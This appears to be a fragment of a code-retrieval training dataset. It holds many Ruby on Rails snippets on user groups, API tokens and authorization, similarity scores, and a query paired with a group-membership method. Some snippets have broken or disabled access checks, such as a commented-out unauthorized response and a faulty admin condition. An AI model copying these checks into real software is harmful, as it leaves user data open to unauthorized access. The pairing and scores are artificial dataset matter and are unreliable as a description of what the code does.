"def update\n user_group_ids = params[\"user_groups\"] || []\n user_group_ids.map! { |g| g.to_i }\n @user = User.find_by_id(params[:id])\n current_group_ids = @user.user_group_ids\n\n if params[\"user\"] && params[\"user\"][\"password\"].blank?\n params[\"user\"].delete(:password)\n params[\"user\"].delete(:password_confirmation)\n end\n\n if @user.update_attributes(params[\"user\"])\n is_logged = [email protected]_changes.blank?\n if current_group_ids != user_group_ids\n @user.user_group_ids = user_group_ids\n @user.create_activity :edit_info, owner: current_user, params: {:detail => I18n.t('logs.edit_user', user_name: @user.user_full_name)} if !is_logged\n end\n redirect_to organization_users_path(params[:organization_id])\n return\n else\n @user_groups = UserGroup.get_all_user_groups_in_org(params[:organization_id])\n render :edit_temp\n return\n end\n end",
"def update\n user_group_ids = params[\"user_groups\"] || []\n user_group_ids.map! { |g| g.to_i }\n @user = User.find_by_id(params[:id])\n current_group_ids = @user.user_group_ids\n\n if params[\"user\"] && params[\"user\"][\"password\"].blank?\n params[\"user\"].delete(:password)\n params[\"user\"].delete(:password_confirmation)\n end\n\n if @user.update_attributes(params[\"user\"])\n is_logged = [email protected]_changes.blank?\n if current_group_ids != user_group_ids\n @user.user_group_ids = user_group_ids\n @user.create_activity :edit_info, owner: current_user, params: {:detail => I18n.t('logs.edit_user', user_name: @user.user_full_name)} if !is_logged\n end\n redirect_to organization_users_path(params[:organization_id])\n return\n else\n @user_groups = UserGroup.get_all_user_groups_in_org(params[:organization_id])\n render :edit_temp\n return\n end\n end",
"def create\n groups = [];\n keywords = [];\n\n params[:groups].each do |group|\n g = Group.find_by_facebook_id(group[:id]) || Group.create({\n facebook_id: group[:id],\n name: group[:name]\n })\n groups << g\n end\n\n if params[:keywords]\n params[:keywords].each do |keyword|\n k = Keyword.find_by_name(keyword) || Keyword.create(name: keyword)\n keywords << k\n end\n end\n\n oauth = Koala::Facebook::OAuth.new(ENV[\"FACEBOOK_APP_ID\"], ENV[\"FACEBOOK_APP_SECRET\"])\n long_token = oauth.exchange_access_token_info(params[:user][:authToken])[\"access_token\"]\n user = User.find_by_email(params[:user][:email]) || User.create(email: params[:user][:email])\n user.update_attributes(auth_token: long_token)\n \n r = user.requests.create\n r.groups << groups\n r.keywords << keywords\n r.save\n\n # FacebookApi.new(r)\n render nothing: true\n end",
"def index\n\n @user = User.find(params[:user_id])\n\n # confirm the user\n ticket = params[:ticket]\n logger.info(\"~~~~~~~~~~~~~~~ticket:\")\n logger.info(ticket)\n @groups = @user.groups\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @groups }\n end\n\n=begin\n if ticket!= nil\n ticket = ticket.split('-')\n abc = ticket[2]\n logger.info(abc)\n code = abc[20,abc.length-20]\n name = Base64.decode64(code)\n logger.info(\"----------user_id\"+params[:user_id].to_s)\n user = User.find(@user)\n if user.name != name\n\trender :json=>\"unknown user\"\n\n else\n\n @groups = @user.groups\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @groups }\n end\n end\n\n end\n=end\n\n\n end",
"def move_users_to_group(group_id, arr_of_user_ids)\n arr_of_user_ids.each { |id|\n populate_group = HTTParty.post(\n \"#{$canvas_url}/api/v1/groups/#{group_id}/memberships\",\n headers: { \"authorization\" => \"Bearer #{$canvas_token}\" },\n body: {\n user_id: id\n } \n )\n }\nend",
"def auth_param; end",
"def permit\n user = User.find(params[:user_id])\n group = Group.find(params[:id])\n membership = Membership.find_by(user: user, group: group)\n if membership\n membership.update_column(:active, true)\n membership.touch # For showing on dashboard.\n end\n redirect_back fallback_location: '/'\n end",
"def grant_auth(from, to)\n ownusr = User.first(:nickname=>from)\n\n tousr = User.first(:nickname=>to)\n return ret_fail('user not found!') if tousr == nil #the user is not in the database\n\n contact = ownusr.contacts.first(:userid => tousr.id)\n return ret_fail(to+' not in your contact list') if contact==nil #first add the user before accepting auth_request!\n\n\n #check the authorization state\n hiscontact = tousr.contacts.first(:userid => ownusr.id)\n return ret_fail('not in list of '+to) if hiscontact==nil\n return ret_fail(to+' is already authorized') if hiscontact.authgiven =='t'\n return ret_fail('authorization was not requested') if hiscontact.authgiven=='f' #makes no sense to grant before getting a request...\n\n #so state is pending -> lets change to given\n hiscontact.authgiven = 't'\n hiscontact.save\n\n #append notification to queue and save db record\n tousr.messages.create(:data => JSON.generate({'type'=>'auth_grant','from'=>from}))\n\n return ret_success\nend",
"def create_non_admin_user_authenticate\n post '/users', 'username' => 'testuser', 'password' => 'testpassword', 'email_address' => '[email protected]'\n id_user = last_response.json_body['id']\n digest_authorize 'testuser', 'testpassword'\n id_user\nend",
"def authorize_request\n authenticate_with_http_token do |token, options|\n User.find_by(token: token)\n end\n end",
"def respond_with_identity(user,group)\n resp = checkid_request.answer(true, nil, openid_identifier(user))\n resp = add_identity_details(resp,user,group)\n render_response(resp)\n end",
"def group_user_rooster_params\n params.require(:group_user_rooster).permit(:user_id, :isadmin, :group_id)\n end",
"def client_in_group\n @group = @user.groups.find_by_id(params[:gid])\n render errors_msg(\"User Not In Group\", 404) and return \\\n unless @group\n end",
"def show\n authorize @group\n end",
"def authorize_read_group!\n unless @group and (@projects.present? or can?(current_user, :read_group, @group))\n if current_user.nil?\n return authenticate_user!\n else\n return render_404\n end\n end\n end",
"def create\n @group = Group.new(group_params)\n token = params[:token]\n\n # use the user login instance and match emails to find current user\n @user_login = UserLogin.where(token: token).take\n @current_user = User.where(email: @user_login.email).take\n\n respond_to do |format|\n if @group.save\n\n # create a new group membership for new group w/ current user as admin\n @new_membership = GroupMembership.create(group_id: @group.id, user_id: @current_user.id, is_admin: true)\n\n # associate new membership with the group and the user\n @group.group_memberships << @new_membership\n @current_user.group_memberships << @new_membership\n\n format.html { redirect_to group_path(:id => @group.id), notice: 'Group was successfully created.' }\n format.json { render :show, status: :created, location: @group }\n else\n format.html { render :new }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def getUserAllowed_to_edit( entity_id, user_id)\n params = Hash.new\n params['entity_id'] = entity_id\n params['user_id'] = user_id\n return doCurl(\"get\",\"/user/allowed_to_edit\",params)\n end",
"def validate_access_token obj\n if obj[\"access_token\"] == request_details[:access_token]\n User.new(obj)\n else\n false\n end\n end",
"def restrict_access\n authenticate_or_request_with_http_token do | token , options |\n ApiKey.exists?(access_token: token)\n end\n end",
"def authenticate_with_oauth2(oauth2_id, oauth2_token)\n \n # find user and update access token \n returning(self.find_for_oauth2(oauth2_id)) do |user|\n user.update_attributes(:oauth2_token => oauth2_token) unless user.nil?\n end\n\n end",
"def restrict_access\n\t authenticate_or_request_with_http_token do |token, options|\n\t User.exists?(api_key: token)\n\t end\n\tend",
"def manage_groups\n @other_user = @login_user\n @groups = @login_user.groups\n end",
"def member_user\n if params[:group_id]\n @group = Group.find(params[:group_id])\n else\n @group = Group.find(by_id)\n end\n unless @group.has_member?(current_user)\n flash[:danger] = \"The page you requested is only available to members.\"\n redirect_to @group\n end\n end",
"def grant_request(user_id, access_code)\n self.access_code = access_code\n resolve(user_id, RES_GRANTED)\n end",
"def create\n @user_group = UserGroup.new(params[\"user_group\"])\n permission_ids = params[\"permissions\"]\n org_id = params[:organization_id]\n @user_group.permission_ids = permission_ids\n @user_group.organization_id = org_id\n\n if @user_group.save\n redirect_to organization_user_groups_path\n else\n flash[:error] = t('user_group.exist')\n @permissions = Permission.get_hash_group_permission\n render :new\n end\n\n end",
"def authorize_user\n # stores action past, gathered by params, and stores action into action variable\n action = params['action']\n\n # passes current post and all of its keys and values, via params, inside variable post\n post = Post.find(params[:id])\n\n # if the post.user id is the same as the current user id, then pass all actions as true and\n # exit out. Machine here thinks (if not the same user id), \"I am a different id.\n # and am exiting loop and headed to the next bit of information\"\n return true if post.user == current_user\n\n # The user was not the current user (see above), so what user are you?\n # If the destroy action is generated, the post.user id will need to match a\n # moderator user id of 2 or an admin id of 1, else redirect back to post with directed error\n if action == 'destroy' && (post.user == !current_user || !current_user.admin?)\n flash[:alert] = 'You must be an admin to do that'\n redirect_to [post.topic, post]\n # same idea as destroy (above), except for the 'update' action\n elsif action == 'update' && !(current_user.moderator? || current_user.admin?)\n flash[:alert] = 'You must be an admin or a moderator to do that'\n redirect_to [post.topic, post]\n end\n end",
"def index\n case params[:filter].to_s\n when 'my'\n authorize Group.new(:owner_id => current_user.id), :update?\n @groups = Group.where(:owner_id => current_user.id)\n else\n authorize Group.new, :update?\n @groups = Group.all\n end\n\n respond_to do |format|\n format.html # index.html.erb\n end\n end",
"def is_admin\n @user = User.find(params[:user_id])\n @group = Group.find(params[:group_id])\n if @user.is_admin?(@group)\n render json: {result: 1}\n else\n render json: {result: 0}\n end\n end",
"def group_request_params\n params.require(:group_request).permit(:user_id, :group_id, :pre_auth, :approved, :created_by, :updated_by)\n end",
"def user_access_create\n check_user_access(params[:user_id])\n end",
"def user_access_create\n check_user_access(params[:user_id])\n end",
"def retrieve_user_access_list_for_app(user,app)\n user.groups.where(app_id: app.id)\n end",
"def move_users_to_group(group_id, set_of_user_ids)\n set_of_user_ids.each do |id|\n @url = \"http://#{$canvas_host}/api/v1/groups/#{group_id}/memberships\"\n puts \"@url is #{@url}\"\n \n @payload={'user_id': id}\n puts(\"@payload is #{@payload}\")\n \n @postResponse = HTTParty.post(@url, :body => @payload.to_json, :headers => $header )\n puts(\" POST to move user to group has Response.code #{@postResponse.code} and postResponse is #{@postResponse}\")\n end\nend",
"def create\n group_id = params[:group_id]\n user = User.find(params[:user_id])\n group = Group.find_by_id(group_id)\n if user.is_admin || group.creator == current_user\n role = Role.find_by_rolename('group_admin')\n else\n role = Role.find_by_rolename('user')\n end\n \n is_authorized = false\n\n if group.private\n if user.is_admin || group.creator == current_user\n is_authorized = true\n end\n else\n is_authorized = true\n end \n\n @membership = Membership.create({:group_id => params[:group_id], \n :user_id => user.id,\n :role_id => role.id,\n :authorized => is_authorized})\n if @membership.save\n respond_to do |format|\n format.html { redirect_to group_path(group_id) }\n format.xml { render :xml => @membership, :status => :created } \n format.json { render :json => @membership, :status => :created } \n end\n else\n respond_to do |format|\n format.html { redirect_to group_path(group_id) }\n format.xml { render :xml => @membership.errors, :status => :unprocessable_entity }\n format.json { render :json => @membership.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def restrict_access\n if session[:user_id]\n if !conversation_params.nil?\n conversation_params[:user_id] = session[:user_id]\n end\n else\n authenticate_or_request_with_http_token do |token, options|\n @user = User.where(:auth_token => token).first()\n if (@user)\n if !conversation_params.nil?\n conversation_params[:user_id] = @user.id\n end\n return true\n end\n false\n end\n end\n end",
"def restrict_create\n\t\tauthenticate_or_request_with_http_token do |token, options|\n\t\t\tapi_token = ApiToken.find_by_access_token(token)\n\t\t\t@token_account = api_token.account if api_token\n\t\tend\n\tend",
"def group_params\n params.require(:group).permit(:name, :group_image, user_ids: [])\n end",
"def oauth_authentication; end",
"def restrict_access\n\t\t# api_key = ApiKey.find_by_access_token(params[:access_token])\n\t\t# head :unauthorized unless api_key\n\n\t\tauthenticate_or_request_with_http_token do |token, options|\n\t\t\tApiKey.exists?(:access_token => token)\n\t\tend\n\tend",
"def retrieve_user_access_list_for_app(user,app)\n user.groups.where(app_id: app.id)\n end",
"def authorize_request\n @current_user = AuthorizeApiRequest.new(request.headers).call[:user]\n\n # Check if the user record is ban and cancel all actions\n json_response({ error: 'Bannis' }, :unauthorized_request) if @current_user.isBan\n\n # Check achievements in all queries by the user, three times out of ten\n @current_user.check_achievements if rand(10) >= 7\n end",
"def protect_auth\n\t\tapi_key = ApiKey.find_by_access_token(params[:access_token])\n\t\tusr = User.find(api_key.user_id)\n\t\tputs \"IS ROLE AUTHORIZED? #{params[:role] == usr.role}\"\n\t\t#head :unauthorized unless params[:role] == usr.role\n\n\n\t\tmsg = ''\n\t\tif params[:role] == usr.role\n\t\t\tmsg = \"AUTHORIZED\"\n\t\telse\n\t\t\tmsg = \"UNAUTHORIZED\"\n\t\tend\n\t\trespond_to do |format|\n \t\tformat.json { render :json => { :msg => msg } } \t\t\n \t\tend\n\tend",
"def ensure_proper_permission!\n @chatroom = Chatroom.find params[:chatroom_id]\n\n user = @chatroom.user\n study_group = @chatroom.study_group\n\n unless current_user == user || study_group&.has_member?(current_user)\n head 401\n end\n end",
"def valid_auth_group_joined_created\n @group = Group.find_by_id(params[:id])\n if @group\n @joined = @group.users.include?(@user)\n @created = @group.creator == @user\n else\n flash[:warning] = \"Not Exist Group\"\n redirect_to :action => \"index\"\n end\n end",
"def restrict_access\n if session[:user_id]\n if !setting_params.nil?\n setting_params[:user_id] = session[:user_id]\n end\n else\n authenticate_or_request_with_http_token do |token, options|\n @user = User.where(:auth_token => token).first()\n if (@user)\n if !setting_params.nil?\n setting_params[:user_id] = @user.id\n end\n return true\n end\n false\n end\n end\n end",
"def groups_user_params\n params.require(:groups_user).permit(:user_id,:group_id)\n end",
"def authorized?(user, required_groups)\n required_groups.nil? || required_groups.any? do |group|\n robot.auth.user_in_group?(user, group)\n end\n end",
"def authorize_user\n render json: {message: \"Unauthorized\"}, status: 401 unless get_current_user.id == params[:user_id].to_i\n end",
"def form_params\n params.require(:user).permit(:username,{ :group_ids => [] })\n end",
"def userauth_request(username, next_service, auth_method, *others); end",
"def is_member\n @user = User.find(params[:user_id])\n @group = Group.find(params[:group_id])\n if @user.is_member?(@group)\n render json: {result: 1}\n else\n render json: {result: 0}\n end\n end",
"def group_params\n params.require(:group).permit(:event_id, :user_id)\n end",
"def edit\n if GroupsController.group_owner? current_user.id, params[:id]\n set_group\n else\n respond_to do |format|\n format.html { redirect_to groups_path, alert: \"Can't Edit. You are not the group owner\" }\n format.json { render json: \"Only owners can edit the respective group page\", status: :unauthorized }\n end\n end\n end",
"def isAuthorizedUser\n redirect_to groups_path unless current_user.id == @project.user_id\n end",
"def authorize_for_group(group, actions=Permissions::View)\n authorize_for_user(nil, group, actions)\n end",
"def getUserBy_groupid( group_id)\n params = Hash.new\n params['group_id'] = group_id\n return doCurl(\"get\",\"/user/by_groupid\",params)\n end",
"def authorize_user\n puts \"AUTHORIZE USER\"\n puts \"params[:id] \" + params[:id].to_s\n # render json: { status: 401, message: 'Unauthorized' } unless get_current_user.id == params[:id].to_i\n render json: { status: 401, message: 'Unauthorized' } unless get_current_user\n end",
"def create\n # find or create an auth_grant for a given user\n application = Opro::Oauth::ClientApp.find_by_client_id(params[:client_id])\n auth_grant = Opro::Oauth::AuthGrant.find_or_create_by_user_app(current_user, application)\n\n # add permission changes if there are any\n auth_grant.update_permissions(params[:permissions])\n redirect_to auth_grant.redirect_uri_for(params[:redirect_uri], params[:state])\n end",
"def user_in_group_share?(user, *permissions)\n # check if api status is ok, otherwise exit without checking to prevent UI hanging on repeated calls\n if user.registered_for_firecloud && ApplicationController.firecloud_client.services_available?(FireCloudClient::SAM_SERVICE, FireCloudClient::RAWLS_SERVICE, FireCloudClient::THURLOE_SERVICE)\n group_shares = self.study_shares.keep_if {|share| share.is_group_share?}.select {|share| permissions.include?(share.permission)}.map(&:email)\n # get user's FC groups\n if user.access_token.present?\n client = FireCloudClient.new(user:, project: FireCloudClient::PORTAL_NAMESPACE)\n elsif user.api_access_token.present?\n client = FireCloudClient.new\n client.access_token[:access_token] = user.api_access_token\n else\n false\n end\n begin\n user_groups = client.get_user_groups.map {|g| g['groupEmail']}\n # use native array intersection to determine if any of the user's groups have been shared with this study at the correct permission\n (user_groups & group_shares).any?\n rescue => e\n ErrorTracker.report_exception(e, user, { user_groups: user_groups, study: self.attributes.to_h})\n Rails.logger.error \"Unable to retrieve user groups for #{user.email}: #{e.class.name} -- #{e.message}\"\n false\n end\n else\n false # if user is not registered for firecloud, default to false\n end\n end",
"def set_access_group\n @access_group = AccessGroup.find(params[:id])\n end"
] |
[
"0.63575006",
"0.6049184",
"0.604473",
"0.59778386",
"0.5960033",
"0.5956082",
"0.5898231",
"0.58575445",
"0.5775208",
"0.5761696",
"0.5751896",
"0.57372",
"0.57253647",
"0.5716244",
"0.57036287",
"0.570008",
"0.5693296",
"0.5681172",
"0.56763816",
"0.5674352",
"0.5659018",
"0.56147814",
"0.5607788",
"0.5603947",
"0.56034714",
"0.56015795",
"0.55996484",
"0.55931735",
"0.55881065",
"0.55846816",
"0.5579745",
"0.55763596",
"0.55762565",
"0.5571588",
"0.55634266",
"0.5558372",
"0.555653",
"0.5548373",
"0.55456024",
"0.5528441",
"0.5528021",
"0.5528021",
"0.5527824",
"0.55237865",
"0.5520951",
"0.55077064",
"0.55028343",
"0.54957634",
"0.54956496",
"0.54955405",
"0.54885375",
"0.548754",
"0.5484169",
"0.54826015",
"0.5476457",
"0.5473979",
"0.5470585",
"0.54654473",
"0.54607624",
"0.5459546",
"0.5456639",
"0.5452065",
"0.5442028",
"0.5440956",
"0.5437461",
"0.5430999",
"0.5430931",
"0.54285604",
"0.541504",
"0.5413913",
"0.5413913",
"0.54134125",
"0.54077613",
"0.5401422",
"0.53990847",
"0.5397934",
"0.5395769",
"0.53956187",
"0.5389875",
"0.5387086",
"0.53857154",
"0.538552",
"0.5373521",
"0.53728926",
"0.53669757",
"0.5362593",
"0.5362505",
"0.53588164",
"0.5355424",
"0.53541315",
"0.53499067",
"0.5343612",
"0.53431654",
"0.5341792",
"0.534025",
"0.53400815",
"0.5337718",
"0.5337432",
"0.533072",
"0.5328003"
] |
0.54440606
|
62
|
params: access_token, group_id, user_id auth user's right
|
def is_member
@user = User.find(params[:user_id])
@group = Group.find(params[:group_id])
if @user.is_member?(@group)
render json: {result: 1}
else
render json: {result: 0}
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def authorize_member\n @user = User.find(params[:user_id])\n @group = Group.find(params[:group_id])\n auth_or_unauth_member(\"auth\", @user, @group)\n end",
"def user_params\n params.require(:user).permit(:current_user, :group_ids => [])\n end",
"def authorize\n \n token = decode_token(@auth_header)\n data = get_canvas_data(@canvas, token.first[\"user_id\"])\n \n data[\"group_id\"] == token.first[\"group_id\"] && data[\"has_access\"] == \"true\"\n \n rescue StandardError => _\n false\n end",
"def restrict_access\n\t\tauthenticate_or_request_with_http_token do |token, options|\n\t\t\tapi_token = ApiToken.find_by_access_token(token)\n\t\t\tparam_account = self.get_account\n\t\t\t# Does the api token exist and if so,\n\t\t\t# does it have the same id as the requester supplied?\n\t\t\tapi_token && api_token.account_id == param_account.id\n\t\tend\n\tend",
"def atest_ID_25873_access_granted_as_follower_of_a_private_group()\n login_as_user1\n read_all_updates\n groupName = create_any_new_group(\"Private\", \"News\")\n logout_common\n login_as_user2\n read_all_updates\n find_a_group(\"#{groupName}\")\n request_invite\n logout_common\n login_as_user1\n verify_updates\n go_to_updates_page\n approve_as_follower\n logout_common\n login_as_user2\n verify_updates\n end",
"def access_params\n params[:access].permit(:user_id)\n end",
"def add_tokens_to_babysitter_user_group\n current_user.add_tokens(@request_group)\n end",
"def show\r\n \r\n\t\t@user = User.find(params[:id])\r\n @microposts = @user.microposts.paginate(page: params[:page])\r\n\r\n \r\n #nur für currentuser...\r\n if @user == current_user\r\n @interests = Array.new\r\n @user.interests.each do |i|\r\n @interests.push(i.hobby)\r\n end\r\n #frage nach aktuellem user ob in gruppe, aber nur wenn user.group == nil...\r\n fbuser = FbGraph::User.fetch(@user.uid, :access_token => @user.oauth_token)\r\n #Teste ob User in FB Gruppe\r\n group = fbuser.groups\r\n @test = group\r\n\r\n # @group_attribute = false\r\n # current_user.group = false\r\n group.each do |x|\r\n if x.name == 'Connectify'\r\n @group_attribute = true\r\n current_user.group = true\r\n break\r\n else\r\n @group_attribute = false\r\n current_user.group = false\r\n end\r\n end\r\n\r\n current_user.save\r\n\r\n else\r\n begin\r\n #user nicht current_user\r\n @exist = UserVisit.where(user_id: @user.id).where(visitor_id: current_user.id).first\r\n if @exist.nil?\r\n @user.user_visits.build(:visitor_id => current_user.id).save!\r\n end\r\n\r\n\r\n #user oauth abgelaufen\r\n if ((Time.now <=> (Time.parse(@user.oauth_expires_at)+(60*60))) == 1)\r\n #do something\r\n \r\n\r\n else #user oauth noch nicht abgelaufen\r\n #Zuerst schauen ob CurrentUser in Gruppe\r\n if current_user.group == false || current_user.group == nil\r\n #frage nach aktuellem user ob in gruppe, aber nur wenn user.group == nil...\r\n fbcurrent_user = FbGraph::User.fetch(current_user.uid, :access_token => current_user.oauth_token)\r\n #Teste ob User in FB Gruppe\r\n group = fbcurrent_user.groups\r\n\r\n group.each do |x|\r\n if x.name == 'Connectify'\r\n current_user.group = true\r\n break\r\n else\r\n current_user.group = false\r\n end\r\n end\r\n\r\n if fbcurrent_user.groups.empty?\r\n current_user.group = false\r\n \r\n end\r\n current_user.save\r\n end\r\n \r\n fbuser = FbGraph::User.fetch(@user.uid, :access_token => @user.oauth_token)\r\n \r\n fbuser.groups.each do |x|\r\n if x.name == 'Connectify'\r\n @user.group = true\r\n break\r\n else\r\n @user.group = false\r\n end\r\n end\r\n\r\n if fbuser.groups.empty?\r\n @user.group = false\r\n end\r\n @user.save\r\n\r\n\r\n end #end user oauth abgelaufen\r\n\r\n rescue FbGraph::Unauthorized => e\r\n case e.message\r\n when /Duplicate status message/\r\n \r\n # handle dup code\r\n when /Error validating access token/\r\n \r\n # handle bad credentials\r\n else\r\n raise e\r\n end\r\n end #end rescue\r\n end # end current oder other user\r\n\r\n\r\n\r\n end",
"def authorize\n params[:access_token] ||= params[:oauth_token]\n super\n end",
"def authorize_group_access\n group_id = group_params[:id]\n\n return if group_id.blank?\n group = Group.find(group_id)\n validate_max_members_not_exceeded!(group)\n return if group_assignment.grouping.groups.find_by(id: group_id)\n\n report_invitation_failure\n raise NotAuthorized, \"You are not permitted to select this team\"\n end",
"def authorize_muser\n puts \"AUTHORIZE USER\"\n puts \"user id #{get_current_muser.id}\"\n puts \"params: #{params[:id]}\"\n render json: { status: 401, message: 'Unauthorized'} unless get_current_muser.id == params[:id].to_i\n end",
"def add_user\n group_id_param = params[:group_id]\n user_id_param = params[:user_id]\n\n if group_id_param.nil? || group_id_param.blank?\n render json: { error: 'group_id not specified.' }, status: :bad_request\n return\n end\n\n if user_id_param.nil? || user_id_param.blank?\n render json: { error: 'user_id not specified.' }, status: :bad_request\n return\n end\n\n user = User.find_by_id(user_id_param)\n if user.nil?\n render json: { error: \"Can't find user #{user_id_param}.\" }, status: :bad_request\n return\n end\n\n group = CanvasSpaces.GroupCategory.groups.find_by_id(group_id_param)\n if group.nil?\n render json: { error: 'No such group found.' }, status: :bad_request\n else\n if @current_user.account.site_admin? ||\n group.leader_id == @current_user.id ||\n @current_user.id == user.id\n\n group.add_user user\n group.save\n\n render json: { message: 'Successfully added user.' }, status: :ok\n else\n # doesn't have access to the group\n render json: { error: \"Can't add user. Not owner or not adding self.\" }, status: :forbidden\n end\n end\n end",
"def send_access_token(user, provider, device_model=\"\", os_version=\"\")\n\n user_token = UserToken.where(\"user_id = ? and provider = ?\", user.id, provider).last\n\n access_token = Tools::Generate.access_token\n refresh_token = Tools::Generate.refresh_token\n\n period = AppConfig.access_token.expired_in.minute\n\n expired_at = (Time.now + period)\n\n if user_token && user_token.token\n user_token.token = access_token\n user_token.refresh_token = refresh_token\n user_token.expired_at = expired_at\n user_token.device_model = device_model\n user_token.os_version = os_version\n user_token.save\n else\n user_token = user.user_tokens.create(token: access_token,\n refresh_token: refresh_token,\n provider: provider,\n expired_at: expired_at,\n device_model: device_model,\n os_version: os_version)\n end\n\n return [access_token, refresh_token] if user_token\n end",
"def restrict_access\n user = User.find_by_authentication_token(params[:access_token])\n head :unauthorized unless user\n end",
"def admin_edit\n @guidance_groups = GuidanceGroup.where(org_id: current_user.org.id)\n @guidance_group = GuidanceGroup.find(params[:id])\n authorize @guidance_group\n end",
"def complete\n group = Group.find_by_uid(params[:group_id])\n\n unless group\n redirect_to app_access_unauthorized_path\n return\n end\n\n # Prepare and return response\n respond_with_identity(current_user,group)\n end",
"def authorize\n @user = User.find_by_id_and_multitrack_token(params[:user_id], params[:token])\n head(@user ? :ok : :forbidden)\n end",
"def token_verify\r\n\r\n #render json: {id: params[\"user\"][\"id\"], params: params}\r\n \r\n user_tmp = User.find(params[:id])\r\n if user_tmp.authentication_token == params[:authentication_token]\r\n $granted = true\r\n render json: false\r\n else\r\n \r\n render json: false\r\n end\r\n end",
"def group_params\n params.require(:group).permit(:org_id, :name, :description, permission_ids: [], user_ids: [])\n end",
"def find_oauth_access_token\n end",
"def do_linkedin_login_2(provider_permissions = {:provider => 1, :permissions => 1})\n \n puts \"---- get_provider_request_token\"\n \n case provider_permissions[:permissions]\n \n when 1 # ----- add groups\n configuration = { :site => 'https://api.linkedin.com',\n :authorize_path => '/uas/oauth/authorize',\n :request_token_path => '/uas/oauth/requestToken?scope=r_fullprofile+r_emailaddress+r_network+r_contactinfo+rw_groups',\n :access_token_path => '/uas/oauth/accessToken' }\n end\n \n consumer = OAuth::Consumer.new(LINKEDIN_API_KEY, LINKEDIN_API_SECRET, configuration)\n \n session[:request_token] = consumer.get_request_token({:oauth_callback => linkedin_auth_accept_url + \"?rk=1\"})\n redirect_to session[:request_token].authorize_url\n \n end",
"def user_access\n @bot = current_user.admin? ? Bot.find(params[:id]) : current_user.bots.find(params[:id])\n\n check_user_access(@bot.account.user_id)\n\n rescue\n flash_access_denied\n end",
"def check_permission\n raise ActiveRecord::RecordNotFound if self.user.nil?\n raise ActiveRecord::RecordNotFound if self.group.nil?\n return true if !group.group_type.is_approval_required && self.user.can_join_groups?\n return true if (self.is_user_invited? || self.is_request_approved?) && self.user.can_join_groups?\n raise ApiAccessEvanta::RecordOutOfScope if self.group.secret? && !self.is_user_invited?\n raise ApiAccessEvanta::PermissionDenied\n end",
"def authorize_for(group)\n current_user.becomes(LearnUser).allowed_to?(group)\n end",
"def access_token\n end",
"def verify_access_token\n auth_token = request.headers['Authorization']\n user_id = auth_token.split(':').first\n \n if user_id == params[:id]\n @user = User.find(user_id)\n render json: UserSerializer.new(@user).serialized_json\n else\n render json: { error: I18n.t('unauthorized') }, status: 401\n end\n end",
"def access_token\n user_token = @user_token\n goat.transaction do\n if user_token.access_token.nil?\n user_token.access_token = request_token.get_access_token\n if !user_token.access_token.nil?\n goat[user_token.user] = user_token\n end\n end\n end\n @user_token = user_token\n @user_token.access_token\n end",
"def index\n id = -1 \n if params[:id] \n id = params[:id]\n else \n id = current_user.id \n end \n\n @user = User.find(id)\n @group = UserGroup.find_by(user_id: id, name: params[:group])\n\n if [email protected]?\n @group_members = get_members(@user, @group)\n end \n\n end",
"def authorize_request\n\t\tauthenticate_with_http_token do |token, options|\n\t\t\tUser.find_by(token: token)\n\t\tend\n\tend",
"def group_user_params\n params.require(:group_user).permit(:group_id, :user_id)\n end",
"def call\n if user\n {access_token:JsonWebToken.encode(user_id: user.id),\n user_role: user.role}\n end \n end",
"def authorize_request\n authenticate_with_http_token do |token, option|\n User.find_by(token: token)\n end\n end",
"def client_in_group\n @group = @user.groups.find_by_id(params[:gid])\n render errors_msg(\"Not In Group\", 404) and return \\\n unless @group\n @g_user = GroupUser.where(group_id: @group.id, user_id: @user.id).first\n end",
"def group_member_params\n params.permit(:users_id, :travel_groups_id)\n end",
"def group_request (v1_requests_params)\n req = Request.find(v1_requests_params[:id])\n @group = Group.where(id: v1_requests_params[:group_id]).first\n user = User.find(req.reciever_id)\n if v1_requests_params[:response]\n @group.users << user\n end\n @group\n end",
"def accessible_user\n @user = User.find(params[:id])\n\n user_accessible = (@user.id == current_user.id) # can edit self\n unless user_accessible\n # check if user is in accessible group\n groups = Group.accessible_by(current_ability)\n @user.groups_users.each do |groups_user|\n if groups.include?(groups_user.group)\n user_accessible = true\n break\n end\n end\n end\n unless user_accessible\n raise CanCan::AccessDenied.new(\"Permission error\")\n end\n end",
"def atest_ID_25874_user_follows_a_group_you_manage()\n login_as_user1\n read_all_updates\n groupName = create_any_new_group(\"Open Group\", \"News\")\n logout_common\n login_as_user2\n read_all_updates\n find_a_group(\"#{groupName}\")\n follow_a_group\n logout_common\n login_as_user1\n verify_updates\n end",
"def index\n @tutor_groups = TutorGroup.where(academic_session_id: session[:global_academic_session])\n if !@tutor_groups.blank?\n authorize @tutor_groups\n end\n \n end",
"def user_access_control\n bot = Bot.find(params[:id])\n\n if current_user.admin?\n @bot = User.find(bot.account.user_id).admin? ? current_user.bots.find(params[:id]) : bot\n else\n @bot = current_user.bots.find(params[:id])\n end\n\n rescue\n response_access_denied\n end",
"def authenticate\n # if valid_access_token?\n # fetch_access_token\n # else\n get_new_access_token\n # end\n end",
"def update\n user_group_ids = params[\"user_groups\"] || []\n user_group_ids.map! { |g| g.to_i }\n @user = User.find_by_id(params[:id])\n current_group_ids = @user.user_group_ids\n\n if params[\"user\"] && params[\"user\"][\"password\"].blank?\n params[\"user\"].delete(:password)\n params[\"user\"].delete(:password_confirmation)\n end\n\n if @user.update_attributes(params[\"user\"])\n is_logged = [email protected]_changes.blank?\n if current_group_ids != user_group_ids\n @user.user_group_ids = user_group_ids\n @user.create_activity :edit_info, owner: current_user, params: {:detail => I18n.t('logs.edit_user', user_name: @user.user_full_name)} if !is_logged\n end\n redirect_to organization_users_path(params[:organization_id])\n return\n else\n @user_groups = UserGroup.get_all_user_groups_in_org(params[:organization_id])\n render :edit_temp\n return\n end\n end",
